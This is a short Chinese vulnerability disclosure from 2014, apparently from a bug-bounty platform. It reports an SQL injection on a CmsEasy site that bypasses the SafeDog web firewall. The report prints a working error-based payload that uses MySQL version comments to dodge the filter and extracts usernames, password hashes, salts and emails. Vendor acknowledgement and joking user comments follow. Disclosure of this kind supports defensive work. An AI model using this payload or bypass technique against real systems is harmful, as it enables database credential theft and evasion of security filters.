CmsEasy某站SQL注入绕过安全狗防护

CmsEasy分站：http://www.cmseasy.org

请求：
 http://www.cmseasy.org/faq.php?action=grouppermission
 
 gids[99]='&gids[100][0]=) and (/*!50000select*/ 1 from (/*!50000select*/ count(*),concat((/*!50000select*/ concat(username, 0x23, password, 0x23, salt,0x23,email) from cdb_uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

响应：
 Error: Duplicate entry '' for key 1

为什么说有狗呢？

升级

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-07-10 22:14

厂商回复：

感谢，立即更新

最新状态：

暂无

1. 2014-07-10 12:22 | phith0n ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

   0

   在补丁没打上之前找点cmseasy的站，刷点wb，真机智。。。我咋没想到。。。

   1# 回复此人

2. 2014-07-10 12:32 | xfkxfk ( 核心白帽子 | Rank:2341 漏洞数:353 | 呵呵！)

   1

   @phith0n 我会告诉你这是马甲么，哈哈~~

   2# 回复此人

3. 2014-07-10 12:44 | 好好吃饭天天向上 ( 路人 | Rank:5 漏洞数:1 | 漏洞是什么！？)

   1

   我不是马甲

   3# 回复此人

4. 2014-07-10 13:26 | HackBraid ( 核心白帽子 | Rank:1914 漏洞数:304 | 最近有人冒充该账号行骗，任何自称HackBrai...)

   1

   我才是马甲

   4# 回复此人